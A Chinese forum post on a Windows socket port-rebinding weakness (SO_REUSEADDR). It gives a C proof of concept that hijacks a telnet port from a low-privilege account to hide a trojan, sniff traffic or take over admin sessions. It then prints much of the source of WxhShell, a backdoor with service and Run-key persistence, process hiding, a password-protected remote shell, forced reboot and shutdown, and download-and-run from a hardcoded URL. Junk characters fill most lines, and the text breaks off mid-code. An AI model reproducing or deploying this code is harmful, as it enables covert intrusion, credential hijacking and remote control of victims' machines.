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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: u/ZV35z  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Q@0Zh, l  
YHQvx_0yP  
  saddr.sin_family = AF_INET; tRu j}n+x  
oGvk,mh"(  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); e~P4>3  
mIh >8))E  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ?(R !BB  
A!uO7".E  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 VqL#w<A %  
"J"RH:$v  
  这意味着什么?意味着可以进行如下的攻击: (\M#Ay t)  
Mfinh@K,  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 l?<DY$H 0  
'dvi@Jx  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) _MLbJ  
v9 *WM3  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 L"Dos +  
)\RG NJMC  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  M'|?* aNK  
!=bGU=^  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 T-a [  
XmAu n  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 h-+vN hH  
?d' vIpzO!  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 U+-R2w]#q_  
E]dc4US  
  #include >1  %|T  
  #include twP%+/g]<  
  #include AkAQ%)6qV  
  #include    u2 t=*<X  
  DWORD WINAPI ClientThread(LPVOID lpParam);   @fh:lsw  
  int main() LMHii Os,  
  { ~+S,`8-P  
  WORD wVersionRequested; A{%LL r:  
  DWORD ret; a&Z;$  
  WSADATA wsaData; Bg.  
  BOOL val; Oj8xc!d'  
  SOCKADDR_IN saddr; \5P 5N]]  
  SOCKADDR_IN scaddr; x T1MW  
  int err; ]O&\Pn0q  
  SOCKET s; 3Pgld*i7  
  SOCKET sc; Z9q1z~qSQ  
  int caddsize; ac%x\e$  
  HANDLE mt; eZ8DW6l*  
  DWORD tid;   ^TEFKx}PX  
  wVersionRequested = MAKEWORD( 2, 2 ); vlC$0P  
  err = WSAStartup( wVersionRequested, &wsaData ); I3;03X<2  
  if ( err != 0 ) { PS$g *x  
  printf("error!WSAStartup failed!\n"); 0iI|eE o  
  return -1; tSVU,m  
  } !QlCt>{  
  saddr.sin_family = AF_INET; 4L/nEZ!Nsu  
   $[0\Th  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 66{Dyn7J~  
Ia j`u  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); X:mm<4  
  saddr.sin_port = htons(23); oer3DD(  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) I(uM`g  
  { +:3s f%0  
  printf("error!socket failed!\n"); =wznkqyhi  
  return -1; yA~1$sA1  
  } d]vom@iI  
  val = TRUE; 95mwDHbA  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 p0Pmmp7r  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) j~Mx^ivwj  
  { *:?XbtIK u  
  printf("error!setsockopt failed!\n"); $6]1T>  
  return -1; _0o65?F  
  } I{i6e'.jP  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; }poLH S/  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 5}TTf2&Xo#  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 "Pl.G[Buc-  
c)Ne/E{!0  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) s\e b  
  { ?tkl cYB  
  ret=GetLastError(); a7sX*5t{R  
  printf("error!bind failed!\n"); >Z>s R0s7  
  return -1; xbz O' C  
  } M^{=&  
  listen(s,2); 89UR w9  
  while(1) {~`{bnx^]7  
  { pfQ3Y$z  
  caddsize = sizeof(scaddr); YBL.R;^v  
  //接受连接请求 Ac'pu,v  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); -oi@1g @  
  if(sc!=INVALID_SOCKET) ,z~"Mst  
  { qOflvf  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); }b^x#HC  
  if(mt==NULL) G^:?)WRG  
  { afE8Kqa:H  
  printf("Thread Creat Failed!\n"); 7LsVlT[  
  break; -s^)HR l  
  } Y/T-2)D  
  } hE7rnn{  
  CloseHandle(mt); SN]Na<P  
  } LtGjHB\+  
  closesocket(s); O-!Q~;3][  
  WSACleanup(); y1B' _s  
  return 0; S@Aw1i p  
  }    S8O,{  
  DWORD WINAPI ClientThread(LPVOID lpParam) &aPR"X  
  { ;Kh?iq n^  
  SOCKET ss = (SOCKET)lpParam; qfqL"G  
  SOCKET sc; n7.85p@ua  
  unsigned char buf[4096]; vs@u*4.Ut<  
  SOCKADDR_IN saddr; <8^ws90Y  
  long num; qW S"I+o,S  
  DWORD val; : . PRM+  
  DWORD ret; [WI'oy  
  //如果是隐藏端口应用的话,可以在此处加一些判断 Bh7hF?c Sj  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ccT <UIpq  
  saddr.sin_family = AF_INET; y"k %Wa`*  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); yIg^iZD  
  saddr.sin_port = htons(23); G +AP."M?  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) u/ri {neP{  
  { 6!H,(Z]j  
  printf("error!socket failed!\n"); UkcH+0o  
  return -1; `A<2wd;  
  } K{:[0oIHc  
  val = 100; x,HD,VQR/  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) % CQv&d2  
  {  r}}2 Kl  
  ret = GetLastError(); !6hV|2aJy  
  return -1; sl:1P^b  
  } K^P&3H*(/n  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) :i|Bz6Ht4  
  { <fHN^O0TS  
  ret = GetLastError(); LtPaTe  
  return -1; Hc-up.?v'v  
  } yq[. WPve  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) lYmxd8  
  { :<HLw.4O  
  printf("error!socket connect failed!\n"); ;]k\F  
  closesocket(sc); (gIFuOGi>  
  closesocket(ss); 3R)|DGql=1  
  return -1; 0"Zxbgu)  
  } ]|u7P{Z"R  
  while(1) X^rFRk  
  { s1tkiX{>  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 1jE {]/Y7&  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 y;_F[m  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 5s@xpWVot  
  num = recv(ss,buf,4096,0); @>&b&uj7T  
  if(num>0) x~F YG  
  send(sc,buf,num,0); = ?BhtW  
  else if(num==0) 6 X'#F,M  
  break; ">Ms V/  
  num = recv(sc,buf,4096,0); t{,e{oZx  
  if(num>0) !?lvmq  
  send(ss,buf,num,0); J:OP*/@='  
  else if(num==0) )G-u;1rd  
  break; ;@ G^eQ  
  } egH,7f(yP  
  closesocket(ss); Y#+Ws0wN  
  closesocket(sc); S(/ ^_Y  
  return 0 ; y}?PyPz  
  } [("2=Uz;  
a^_W}gzzd  
wc-v]$DW  
========================================================== Ai)>ot  
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下边附上一个代码,,WXhSHELL Z?'?|vM  
CR;E*I${  
========================================================== nw#AKtd@x  
E!uQ>'iq.  
#include "stdafx.h" D&i, `j  
) I(9qt>Y  
#include <stdio.h> XA;f.u  
#include <string.h> HU$]o N  
#include <windows.h> F'CJN$6Mw/  
#include <winsock2.h> uG/'9C6Z  
#include <winsvc.h> MNp4=R  
#include <urlmon.h> AMASh*  
KzQFG)q,  
#pragma comment (lib, "Ws2_32.lib") +3sbpl2}  
#pragma comment (lib, "urlmon.lib") &%g$Bi,G  
#XG3{MGX[  
#define MAX_USER   100 // 最大客户端连接数 *rB@[ (/  
#define BUF_SOCK   200 // sock buffer !yr4B "kz  
#define KEY_BUFF   255 // 输入 buffer f'*/IG  
fs-LaV 0  
#define REBOOT     0   // 重启 tx)$4v  
#define SHUTDOWN   1   // 关机 ya[f? 0b0  
*.KVrS<B1  
#define DEF_PORT   5000 // 监听端口 X|D-[|P  
7SNdC8GZ~  
#define REG_LEN     16   // 注册表键长度 4* I XBi7%  
#define SVC_LEN     80   // NT服务名长度 h<bhH=6~  
~gHn>]S0  
// 从dll定义API P00%EB  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); G/#m. =t  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Vbe@S?u-  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); j@Pd" Z9  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); n5;@}Rai  
5Ar gM%  
// wxhshell配置信息 $G{j[iLY  
struct WSCFG { y%x:~.  
  int ws_port;         // 监听端口 r;"D>IM\  
  char ws_passstr[REG_LEN]; // 口令 ,In%r`{i  
  int ws_autoins;       // 安装标记, 1=yes 0=no s {^wr6B  
  char ws_regname[REG_LEN]; // 注册表键名 ;$e)r3r`LV  
  char ws_svcname[REG_LEN]; // 服务名 IP@3R(DS%  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 U$3DIJVI  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 8@LUL)"  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 6R guUDRQ  
int ws_downexe;       // 下载执行标记, 1=yes 0=no >P:U9 b  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" q+2A>:|  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 |QMmF"0  
`& '{R<cL  
}; #9 Fk&Lx  
g$zGiqzMK  
// default Wxhshell configuration H=w):kL|  
struct WSCFG wscfg={DEF_PORT, vVIN D  
    "xuhuanlingzhe", J*Ie# :J]  
    1, ^,F G 9  
    "Wxhshell", z]-m<#1  
    "Wxhshell", &328pOT4  
            "WxhShell Service", w w[|| =  
    "Wrsky Windows CmdShell Service", BkPt 1i  
    "Please Input Your Password: ", H_Va$}8z  
  1, gK@`0/k{  
  "http://www.wrsky.com/wxhshell.exe", !3\$XK]5ZT  
  "Wxhshell.exe" M d8(P23hS  
    }; +\;Ro18?  
W7gY$\1<&  
// 消息定义模块 4:^MSgra  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; pLCS\AUTsv  
char *msg_ws_prompt="\n\r? for help\n\r#>"; !]E ]Xd<  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; $ZZ?*I  
char *msg_ws_ext="\n\rExit."; )?7/fF)@|  
char *msg_ws_end="\n\rQuit."; H1L)9oa  
char *msg_ws_boot="\n\rReboot..."; VH<d[Mj  
char *msg_ws_poff="\n\rShutdown..."; WPAUY<6f  
char *msg_ws_down="\n\rSave to "; ;\6@s3  
kPiY|EH  
char *msg_ws_err="\n\rErr!"; mEu2@3^E }  
char *msg_ws_ok="\n\rOK!"; ]$ Nhy8-  
i*$~uuY  
char ExeFile[MAX_PATH]; NZa 7[}H  
int nUser = 0; `(`-S md  
HANDLE handles[MAX_USER]; JbJ!,86  
int OsIsNt; cruBJZr*  
=:zPT;K  
SERVICE_STATUS       serviceStatus; x X[WX#'f  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; XjP &  
6xwjKh:9  
// 函数声明 mpCu,l+lo  
int Install(void); ]7>#YKH.  
int Uninstall(void); []aw;\7}Y  
int DownloadFile(char *sURL, SOCKET wsh); %<+uJ'pj  
int Boot(int flag); BfCnyL%  
void HideProc(void); _`O",Ff  
int GetOsVer(void); 4b((,u$  
int Wxhshell(SOCKET wsl); QBH|pr  
void TalkWithClient(void *cs); D&I/Tbc  
int CmdShell(SOCKET sock); 0l& '`  
int StartFromService(void); 9<toDg_  
int StartWxhshell(LPSTR lpCmdLine); <DPRQhNW]  
<66%(J>  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); bvrXz-j  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); n4M Xa()P1  
,x!r^YO=  
// 数据结构和表定义 Ha/Qz'^S;  
SERVICE_TABLE_ENTRY DispatchTable[] = =Ul"{T<  
{  S.B?l_d^  
{wscfg.ws_svcname, NTServiceMain}, nM:<l}~v{  
{NULL, NULL} U`8Er48X  
}; WagL8BpLx  
maY.Z<lN  
// 自我安装 7l/lY-zO  
int Install(void) KK1?!7  
{ a^|9rho<  
  char svExeFile[MAX_PATH]; qyFeq])  
  HKEY key; 4c{j9mh  
  strcpy(svExeFile,ExeFile); ]0 = |?n$7  
o<txm?+N  
// 如果是win9x系统,修改注册表设为自启动 ,H,[ )8  
if(!OsIsNt) {  f+ !J1  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Y?7GFkIP$  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ~av#r=x  
  RegCloseKey(key); jO5R~O`  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { l0URJRK{*  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 4X7J~  
  RegCloseKey(key); rNo/H<J%+j  
  return 0; hGw}o,g  
    } .9=4Af  
  } MUv#8{+F'/  
} C'y2!Q /"  
else { U^ , !  
i2(v7Gef  
// 如果是NT以上系统,安装为系统服务 z^.dYb7<  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); KS$"Re$  
if (schSCManager!=0) I= <eCv  
{ koS?UYF`  
  SC_HANDLE schService = CreateService )u28:+8  
  ( "*j8G8  
  schSCManager, hY%} x5ntU  
  wscfg.ws_svcname, @mxaZ5Vv}  
  wscfg.ws_svcdisp, (!N2,1|  
  SERVICE_ALL_ACCESS, /SS~IhUX  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , J?X{NARt  
  SERVICE_AUTO_START, fe`_0lxj  
  SERVICE_ERROR_NORMAL, vzbGLap#  
  svExeFile, M  |h B[  
  NULL, j$XaO%y)  
  NULL, v=hn# U  
  NULL, xyM|q9Gf@  
  NULL, _h  \L6.  
  NULL &Wb"/Hn2  
  ); "u^vBd[}  
  if (schService!=0) .U@u |  
  { ~$C<^?"b  
  CloseServiceHandle(schService); Gos# =H  
  CloseServiceHandle(schSCManager); Y@#N_]oXj  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); AkW>*x  
  strcat(svExeFile,wscfg.ws_svcname); BY[7`@  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { t2OBVzK  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); na8`V`77  
  RegCloseKey(key); IzUpkwN  
  return 0; EirZ}fDJzB  
    } 7)[Ve1;/N  
  } +[MHl  
  CloseServiceHandle(schSCManager); i/'bpGrQ(  
} DUl+Jqn4B  
} [wm0a4fg  
ik/ X!YTu*  
return 1; NziCN*6  
} XMkRYI1~  
}0]uA|lH*  
// 自我卸载 [)jNy_4  
int Uninstall(void) SJh~4R\  
{ Hd\oV^ >  
  HKEY key; _6,\;"it?8  
w|S b`eR  
if(!OsIsNt) { 3<M yb  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { (7b9irL&cn  
  RegDeleteValue(key,wscfg.ws_regname); {'h&[f>zcQ  
  RegCloseKey(key); dL'oKh,  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { |?{V-L  
  RegDeleteValue(key,wscfg.ws_regname); +y'2 h%>h[  
  RegCloseKey(key); cAwqIihZ  
  return 0; nh@JGy*L  
  } u=W[ S)w  
} Dqc GzTz  
} 46e?%0(  
else { G,$nq4  
: -#w  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); uF}dEDB|;  
if (schSCManager!=0) S ;rd0+J  
{ %~M*<pN  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ;ZAwf0~  
  if (schService!=0) Il*!iX|23<  
  { n YUFRV$  
  if(DeleteService(schService)!=0) { lkJxb~S  
  CloseServiceHandle(schService); nr -< mQ  
  CloseServiceHandle(schSCManager); !DSm[Z1  
  return 0; S#8)N`  
  } D QxuV1  
  CloseServiceHandle(schService); 1Hr1Ir<KR  
  } W]7<PL*u  
  CloseServiceHandle(schSCManager); i\/'w]  
} 1_f+! ns#  
} Udtz zka  
ElB[k<  
return 1; c"lwFr9x7  
} m3pDFI  
U_PH#e  
// 从指定url下载文件 V-go?b`  
int DownloadFile(char *sURL, SOCKET wsh) F09%f"9  
{ Xy K,  
  HRESULT hr; bsU$$;  
char seps[]= "/"; 9m2FH~  
char *token; '5$@ I{z  
char *file; k]r4b`x`  
char myURL[MAX_PATH]; C^4,L \E  
char myFILE[MAX_PATH]; 3fQ`}OcNr  
`4xQ#K.-  
strcpy(myURL,sURL); YU[#4f~  
  token=strtok(myURL,seps); 0wVM% Dng  
  while(token!=NULL) ^L d5<  
  { #9[>  
    file=token; gM;m{gXYK  
  token=strtok(NULL,seps); /"k[T  
  } \ZV>5N3hS  
$3p48`.\  
GetCurrentDirectory(MAX_PATH,myFILE); 9^n0<(99b  
strcat(myFILE, "\\"); >]ux3F3\  
strcat(myFILE, file); F>#F@j^c  
  send(wsh,myFILE,strlen(myFILE),0); I9+h-t  
send(wsh,"...",3,0); 80Fa i  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); \yw5`5g  
  if(hr==S_OK) %Y;^$%X%_  
return 0; d1c+Ii%  
else {X?1}5ry  
return 1; !<~.>5UQ  
weu+$Kr  
} W&9 qgbO]  
_p 1!8*0]  
// 系统电源模块 -['& aey}a  
int Boot(int flag) WZ,k][~  
{ ;4b=/1M'  
  HANDLE hToken; Yq|_6zbYf  
  TOKEN_PRIVILEGES tkp; S{&%tj~U  
~<K,P   
  if(OsIsNt) { jG{?>^  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 08^f|K  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); `!I/6d?A  
    tkp.PrivilegeCount = 1; rBQ<5.  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; YV|_y:-  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ~%h )G#N  
if(flag==REBOOT) { |?^qs nB  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Ieq_XF]U  
  return 0; :^{KY(3  
} 'bM=  
else { aLm~.@Q  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) OwNM`xSa|\  
  return 0; ySiZ@i4  
} Y(1?uVYW\d  
  } Z>y6[o  
  else { C)yw b6  
if(flag==REBOOT) { ZLKbF9lo  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) __tA(uA  
  return 0; 0Mn |Yb4p  
} r7_%t_O|IL  
else { W>+`e]z  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) "wZvr}xk  
  return 0; O-p`9(_m  
} pl@K"PRE  
} )ej1)RU"  
GQYn |vm  
return 1; |+HJ>xA4I  
} x5PM ]~"p  
' #=n>  
// win9x进程隐藏模块 7DK}c]js  
void HideProc(void) c9jS !uDMK  
{ %?+Lkj&  
;J+iwS*Z  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); pO)EYla9  
  if ( hKernel != NULL ) L|#0CRiN  
  { fNx!'{o"  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); |n;);T(  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); X8*~Cf73u  
    FreeLibrary(hKernel); 85dC6wI4K  
  } Sw>>]UjU  
YGQ/zB^Pj  
return; IOxtuR  
} kUGFg{"  
-"H$ &p~  
// 获取操作系统版本 YhRy C*b  
int GetOsVer(void) W)f=\.7  
{ =c,7uB  
  OSVERSIONINFO winfo; G,<d;:  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); R87@.  
  GetVersionEx(&winfo); FhBV.,bU,m  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 7>r[.g  
  return 1; SzeY?04zj:  
  else }JQy&V%  
  return 0; {*8G<&  
} qo \9,<  
`mD!z.`U  
// 客户端句柄模块 &CXk=Wj  
int Wxhshell(SOCKET wsl) :,qvqh][  
{ /L(}VJg-  
  SOCKET wsh; +]wM$bP  
  struct sockaddr_in client; =Sr<d|\O  
  DWORD myID; M(\{U"%@?  
|XQ_4{  
  while(nUser<MAX_USER) s}UJv\*  
{ LTA0WgzR)  
  int nSize=sizeof(client); ,vMAX?c  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); gWjr|m<  
  if(wsh==INVALID_SOCKET) return 1; lJfk4 -;M  
*a8<cf  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); iYYuZ.  
if(handles[nUser]==0) a0A=R5_  
  closesocket(wsh); * Z)j"i  
else 4|Y1W}!0/  
  nUser++; {!? M!/d  
  } F3o"ETle  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 0cfGI%  
@U?&1.\  
  return 0; %52x:qGa  
} Cq<Lj  
&'Nzw2  
// 关闭 socket T]/>c  
void CloseIt(SOCKET wsh) #k &#d9}  
{ :nl,A c  
closesocket(wsh); sEfT#$ a^8  
nUser--; Zi\ex\ )5  
ExitThread(0); >y#qn9rV1  
} pih 0ME}z  
r.Z g<T  
// 客户端请求句柄 e9Gu`$K  
void TalkWithClient(void *cs) ?+Vi !eS  
{ H13\8Te{  
J2oh#TGp  
  SOCKET wsh=(SOCKET)cs; < 0~1   
  char pwd[SVC_LEN]; [x=(:soEqC  
  char cmd[KEY_BUFF]; D-i, C~W  
char chr[1]; 6'uCwAQU  
int i,j; X$Q.A^9  
Vep 41\g^  
  while (nUser < MAX_USER) { a\,V>}e  
NZ8X@|N  
if(wscfg.ws_passstr) { L"S2+F)n  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Ie _{P&J  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);  Q3bU"f  
  //ZeroMemory(pwd,KEY_BUFF); WL,2<[)Ew  
      i=0; c 8Q2H  
  while(i<SVC_LEN) { ]b1>bv%  
N|"kuRN#  
  // 设置超时 +mR^I$9  
  fd_set FdRead; p9\*n5{  
  struct timeval TimeOut; d9jD?HgM(  
  FD_ZERO(&FdRead); sy4Nm0m  
  FD_SET(wsh,&FdRead); ld({1jpX,  
  TimeOut.tv_sec=8; 1#AxFdm1  
  TimeOut.tv_usec=0; _tje xS'  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); .qYQ3G'V  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); #< :`:@2  
>X:!Y[N  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); K]yWpW  
  pwd=chr[0]; ",Mrdxn7  
  if(chr[0]==0xd || chr[0]==0xa) { 9FNsW$b?  
  pwd=0; =;I+: K  
  break; #bG6+"g{=L  
  } {0/2Hw n  
  i++; 8gt*`]I  
    } Bzt:9hr6BO  
qJonzFp7  
  // 如果是非法用户,关闭 socket \x4:i\Fx@  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); DVg$rm`  
} ?Oy0p8  
cCx{ ")  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ,-(D (J;}1  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Ayn$,  
NZ!I >  
while(1) { 1#+|RL4o  
f4d-eXGwx`  
  ZeroMemory(cmd,KEY_BUFF); [C;Neslo  
L5|g \Y`  
      // 自动支持客户端 telnet标准   AkO);4A;Jd  
  j=0; :Zob"*T  
  while(j<KEY_BUFF) { 6<5:m:KE  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); s0x/2z  
  cmd[j]=chr[0]; =h ~n5wQG  
  if(chr[0]==0xa || chr[0]==0xd) { bd27])n(  
  cmd[j]=0; 1Q9Hs(s  
  break; JqYa~6 C  
  } >YF=6zq.`  
  j++; Tj<B;f!u  
    } 5~2_wWjX  
g$hEVT  
  // 下载文件 b<"jmB{  
  if(strstr(cmd,"http://")) { WMWMb3  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); QSM3qke  
  if(DownloadFile(cmd,wsh)) R(P(G;#j  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0sme0"Sl  
  else 5.yiNWh  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); II~91IEk  
  } : vgn0 IQ  
  else { aiE\r/k8s  
<X& fs*x&  
    switch(cmd[0]) { vMJ(Ll7/  
  :mf&,?  
  // 帮助 BxQ,T@  
  case '?': { \>n[x; $  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); VTyj<6Y  
    break; 31e O2|7  
  } ^~bd AO81  
  // 安装 2:nI4S  
  case 'i': { w5/6+@}  
    if(Install()) [>3dhj[;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); vW?/:  
    else @B(E&  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); F :Ps>  
    break; !su773vo  
    } V3a6QcG  
  // 卸载 Bx$?*y&f!v  
  case 'r': { 9zCuVUcd$.  
    if(Uninstall()) 1 Qz@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); G^dzE/ :  
    else Z d@B6R  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [EZ=tk  
    break; Y(?SE< 4R  
    } |68/FJZ,5  
  // 显示 wxhshell 所在路径 -O-?hsV)y  
  case 'p': { g4+Hq *  
    char svExeFile[MAX_PATH]; .ns=jp  
    strcpy(svExeFile,"\n\r"); :^>&t^E  
      strcat(svExeFile,ExeFile); u5KAwMw%Q  
        send(wsh,svExeFile,strlen(svExeFile),0); # kNp);  
    break; }?c%L8\  
    } nvNF~)mu  
  // 重启 &1`Y&x:p  
  case 'b': { H/;AlN|!  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); <$25kb R5K  
    if(Boot(REBOOT)) Xrpvq(]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); j*4:4B%  
    else { 5tLb o  
    closesocket(wsh); |Sua4~yL(  
    ExitThread(0); =#<bB)59  
    } X{6a  
    break; BB(v,W  
    } DVKb`KJ"  
  // 关机 r=A A /n<  
  case 'd': { hk S:_e=  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); UTN[! 0[  
